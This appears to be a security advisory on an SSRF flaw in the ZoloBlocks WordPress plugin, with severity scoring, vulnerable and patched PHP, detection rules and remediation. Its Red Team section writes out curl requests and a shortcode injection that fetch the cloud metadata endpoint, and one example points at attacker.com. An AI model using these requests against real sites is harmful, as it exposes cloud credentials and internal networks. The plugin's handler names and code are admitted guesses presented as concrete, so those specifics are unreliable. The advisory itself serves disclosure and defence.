CVE-2025-60161

Executive Summary

CVE-2025-60161 is a Server-Side Request Forgery (SSRF) vulnerability discovered in the WordPress plugin ZoloBlocks by Bdthemes. The flaw affects all versions up to and including 2.3.11. An unauthenticated attacker can exploit this vulnerability to make the server send crafted HTTP requests to internal or external resources, potentially leading to information disclosure, internal network scanning, or further lateral movement. The vulnerability is classified as a WordPress ecosystem issue, as the plugin runs within the WordPress environment. No public proof-of-concept (PoC) or exploit code has been released at this time, and the vendor has not yet provided a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and potentially via third-party marketplaces. Organizations using ZoloBlocks should immediately assess their exposure and consider removing or disabling the plugin until a patch is available. The lack of a patch increases supply chain risk, as malicious actors may target unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity rating reflects the potential for information disclosure and limited integrity impact, but the lack of authentication requirements makes it a significant threat in exposed environments.

Deep Dive & Mechanics

The SSRF vulnerability in ZoloBlocks arises from improper validation of user-supplied URLs passed to server-side functions. The plugin likely uses a wp_remote_get() or similar HTTP request function without adequate sanitization or whitelisting of allowed destinations. An attacker can craft a request that forces the server to make requests to internal IP addresses (e.g., http://169.254.169.254/ for cloud metadata) or external services, bypassing network restrictions.

The vulnerable parameter is likely in a shortcode or AJAX handler that accepts a URL input. For example, a shortcode like [zoloblocks url="http://attacker.com"] could trigger the SSRF. The plugin does not check if the URL points to an internal or private IP range, nor does it validate the scheme (e.g., file:// or gopher://).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions <= 2.3.11. A hypothetical patched version would include:

• Vulnerable (<= 2.3.11):

  function zoloblocks_fetch_url($url) {
      $response = wp_remote_get($url);
      return wp_remote_retrieve_body($response);
  }
  

• Patched (hypothetical):

  function zoloblocks_fetch_url($url) {
      $parsed_url = parse_url($url);
      $host = $parsed_url['host'];
      // Block private and reserved IPs
      if (filter_var($host, FILTER_VALIDATE_IP) && !filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
          return '';
      }
      // Whitelist allowed domains
      $allowed_domains = array('example.com', 'api.example.com');
      if (!in_array($host, $allowed_domains)) {
          return '';
      }
      $response = wp_remote_get($url, array('timeout' => 5));
      return wp_remote_retrieve_body($response);
  }
  

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would send a crafted HTTP request to the WordPress site. For example, using curl:

curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
  --data "action=zoloblocks_fetch&url=http://169.254.169.254/latest/meta-data/"

If the plugin uses a shortcode, the attacker could inject it via a comment or post:

curl -X POST "http://target.com/wp-comments-post.php" \
  --data "comment=[zoloblocks url='http://169.254.169.254/latest/meta-data/']&comment_post_ID=1&author=test&email=test@test.com"

Blue Team

To detect exploitation attempts, monitor for outbound HTTP requests to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254) originating from the WordPress server. Also, look for unusual parameters in POST requests to admin-ajax.php or wp-comments-post.php containing url= or similar.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.169.254)
  • Requests to known cloud metadata endpoints (e.g., http://169.254.169.254/)
  • Unusual User-Agent strings in outbound requests (e.g., empty or non-standard)

• File IOCs:

  • Modified WordPress core files (unlikely, but possible)
  • Suspicious entries in WordPress debug logs (e.g., wp-content/debug.log)

• Log IOCs:

  • Repeated POST requests to admin-ajax.php with action=zoloblocks_fetch or similar
  • Shortcode injection attempts in comments or posts

Detection Engineering

YARA Rule

rule CVE_2025_60161_ZoloBlocks_SSRF {
    meta:
        description = "Detects ZoloBlocks SSRF exploitation attempts in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60161"
    strings:
        $url_param = "url=" nocase
        $action = "zoloblocks" nocase
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
    condition:
        $url_param and $action and $internal_ip
}

Sigma Rule

title: ZoloBlocks SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-60161 SSRF in ZoloBlocks WordPress plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'action=zoloblocks'
            - 'url='
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of ZoloBlocks features (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60161 ZoloBlocks SSRF Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=zoloblocks"; http_client_body; content:"url="; http_client_body; pcre:"/url=(http|https):\/\/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or remove the ZoloBlocks plugin until a patch is released.
2. Network Mitigation: Implement egress filtering to block outbound requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254/32) from the WordPress server.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing url= parameters pointing to internal IPs.
4. Monitoring: Enable detailed logging for HTTP requests and monitor for SSRF patterns.
5. Vendor Communication: Contact Bdthemes for patch status and consider switching to an alternative plugin if no patch is provided.

Valters IT
Securing Digital Frontiers